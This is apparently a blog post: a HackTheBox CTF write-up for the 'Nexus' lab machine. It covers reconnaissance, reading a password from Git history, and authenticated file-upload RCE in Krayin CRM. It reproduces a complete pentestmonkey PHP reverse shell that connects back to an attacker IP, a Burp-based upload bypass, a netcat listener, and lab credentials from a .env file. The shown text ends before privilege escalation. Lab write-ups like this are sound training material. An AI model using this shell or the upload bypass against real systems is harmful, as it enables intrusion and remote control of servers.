DEV Community

Cover image for HackTheBox: Nexus Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: Nexus Writeup

Executive Summary

This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:

  1. Exposed credentials in Git commit history
  2. Authenticated RCE via CRM file upload vulnerability (CVE-2026-38526)
  3. Path traversal in privileged template synchronization service

Phase 1: Reconnaissance

Step 1: Network Scanning

nmap -A -Pn 10.129.21.192 -oA nmap
Enter fullscreen mode Exit fullscreen mode

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
      └─ Redirect: http://nexus.htb
Enter fullscreen mode Exit fullscreen mode

Analysis: HTTP redirect to hostname suggests vhosts/subdomains exist

Step 2: Subdomain Enumeration

ffuf -u http://nexus.htb -H "HOST: FUZZ.nexus.htb" \
  -w subdomains-top1million-110000.txt -fs 154
Enter fullscreen mode Exit fullscreen mode

Results:

git       [Status: 200]  ← Gitea instance
billing   [Status: 302]  ← CRM application
Enter fullscreen mode Exit fullscreen mode

Add to /etc/hosts:

10.129.21.192 nexus.htb git.nexus.htb billing.nexus.htb
Enter fullscreen mode Exit fullscreen mode

Step 3: Web Application Enumeration

nexus.htb (Main Site)

  • Corporate landing page
  • Key Finding: Hiring manager email visible: j.matthew@nexus.htb

git.nexus.htb (Gitea)

Navigate to http://git.nexus.htb/ and click "Explore" button

Result: Lists all public repositories:

  • admin/krayin-docker-setup ← This is what we need
  • Accessible without authentication
  • Contains .env, docker-compose.yml, and documents

Two options to proceed:

  1. Manual browse: Click on the repo in Gitea UI, view files and commit history directly
  2. Clone locally: git clone http://git.nexus.htb/admin/krayin-docker-setup (recommended for offline analysis)

billing.nexus.htb (Krayin CRM)

  • Login portal visible
  • Version: Krayin CRM 2.2.0 (shown after login)

Phase 2: Initial Access

Step 1: Extract Credentials from Git History

Clone the repo and check the logs and commits

git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log --oneline
Enter fullscreen mode Exit fullscreen mode

Output:

9b817fa4e0 Upload files to "/"
1615c465b7 Upload files to "/"
Enter fullscreen mode Exit fullscreen mode

Examine commit details:

git show 9b817fa4e0
Enter fullscreen mode Exit fullscreen mode

CRITICAL FINDING (from diff):

DB_PASSWORD=N27xh!!2ucY04     (← OLD: plaintext password exposed!)
DB_PASSWORD=                  (← NEW: removed)
Enter fullscreen mode Exit fullscreen mode

Credentials extracted:

  • Username: j.matthew@nexus.htb (from main site)
  • Password: N27xh!!2ucY04 (from Git history)

Step 2: Krayin CRM Authentication & RCE

Login: http://billing.nexus.htb/admin/login

  • Email: j.matthew@nexus.htb
  • Password: N27xh!!2ucY04
  • Result: ✓ Successfully authenticated

CRM Version Confirmed: 2.2.0 (visible in dashboard)

Step 3: Exploit CVE-2026-38526 (Authenticated File Upload RCE)

Vulnerability: TinyMCE media upload endpoint lacks file validation

Exploitation Steps:

  1. Navigate to Mail section:

    • Mail → Inbox → Compose Email
  2. Intercept file upload in Burp Suite:

    • Proxy → Intercept → ON
    • Click image insertion icon in composer
    • Select any image to upload
  3. Modify the request:

    • Filename: Change from image.pngshell.php
    • Content: Replace image data with PHP reverse shell
    • Maintain multipart form structure
  4. PHP Reverse Shell Payload (using Pentest Monkey): ( Grab it in from revshells.com)

File: shell.php - Replace image data with this exact code:

   <?php
   // php-reverse-shell - A Reverse Shell implementation in PHP
   // https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
   // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
   set_time_limit (0);
   $VERSION = "1.0";
   $ip = '10.10.15.223';        // CHANGE: Your attacker IP
   $port = 4444;                 // CHANGE: Your listener port
   $chunk_size = 1400;
   $write_a = null;
   $error_a = null;
   $shell = 'uname -a; w; id; sh -i';
   $daemon = 0;
   $debug = 0;

   if (function_exists('pcntl_fork')) {
       $pid = pcntl_fork();
       if ($pid == -1) {
           printit("ERROR: Can't fork");
           exit(1);
       }
       if ($pid) {
           exit(0);
       }
       if (posix_setsid() == -1) {
           printit("Error: Can't setsid()");
           exit(1);
       }
       $daemon = 1;
   } else {
       printit("WARNING: Failed to daemonise.");
   }

   chdir("/");
   umask(0);

   $sock = fsockopen($ip, $port, $errno, $errstr, 30);
   if (!$sock) {
       printit("$errstr ($errno)");
       exit(1);
   }

   $descriptorspec = array(
      0 => array("pipe", "r"),
      1 => array("pipe", "w"),
      2 => array("pipe", "w")
   );

   $process = proc_open($shell, $descriptorspec, $pipes);
   if (!is_resource($process)) {
       printit("ERROR: Can't spawn shell");
       exit(1);
   }

   stream_set_blocking($pipes[0], 0);
   stream_set_blocking($pipes[1], 0);
   stream_set_blocking($pipes[2], 0);
   stream_set_blocking($sock, 0);

   printit("Successfully opened reverse shell to $ip:$port");

   while (1) {
       if (feof($sock)) {
           printit("ERROR: Shell connection terminated");
           break;
       }
       if (feof($pipes[1])) {
           printit("ERROR: Shell process terminated");
           break;
       }

       $read_a = array($sock, $pipes[1], $pipes[2]);
       $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

       if (in_array($sock, $read_a)) {
           if ($debug) printit("SOCK READ");
           $input = fread($sock, $chunk_size);
           if ($debug) printit("SOCK: $input");
           fwrite($pipes[0], $input);
       }
       if (in_array($pipes[1], $read_a)) {
           if ($debug) printit("STDOUT READ");
           $input = fread($pipes[1], $chunk_size);
           if ($debug) printit("STDOUT: $input");
           fwrite($sock, $input);
       }
       if (in_array($pipes[2], $read_a)) {
           if ($debug) printit("STDERR READ");
           $input = fread($pipes[2], $chunk_size);
           if ($debug) printit("STDERR: $input");
           fwrite($sock, $input);
       }
   }

   fclose($sock);
   fclose($pipes[0]);
   fclose($pipes[1]);
   fclose($pipes[2]);
   proc_close($process);

   function printit ($string) {
       if (!$daemon) {
           print "$string\n";
       }
   }
   ?>
Enter fullscreen mode Exit fullscreen mode
  1. Forward the modified request in Burp → Click "Forward"

  2. Response reveals file location:

   Location: /storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Enter fullscreen mode Exit fullscreen mode

Step 4: Establish Reverse Shell

Attacker: Set up listener:

nc -lvnp 4444
Enter fullscreen mode Exit fullscreen mode

Target: Access the PHP shell

curl http://billing.nexus.htb/storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Enter fullscreen mode Exit fullscreen mode

Result: Reverse shell received as www-data

Step 5: Stabilize Shell (Recommended)

The initial reverse shell is unstable. Use one of these tools to upgrade:

Option A: Using pwncat-cs:

pwncat-cs -lp 4444
Enter fullscreen mode Exit fullscreen mode

Option B: Using penelope:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode

Both tools automatically handle shell stabilization and provide better stability/features than raw netcat.


Phase 3: User Access

Step 1: Enumerate System

From www-data shell:

www-data@nexus:/$ whoami
www-data

www-data@nexus:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@nexus:/$ pwd
/var/www/html/krayin
Enter fullscreen mode Exit fullscreen mode

Step 2: Extract Database Credentials

From Krayin CRM .env file:

www-data@nexus:/var/www/html/krayin$ cat .env

APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

VITE_HOST=
VITE_PORT=

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR          ← CRITICAL FINDING!
DB_PREFIX=

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com

MAIL_RECEIVER_DRIVER=sendgrid

IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
Enter fullscreen mode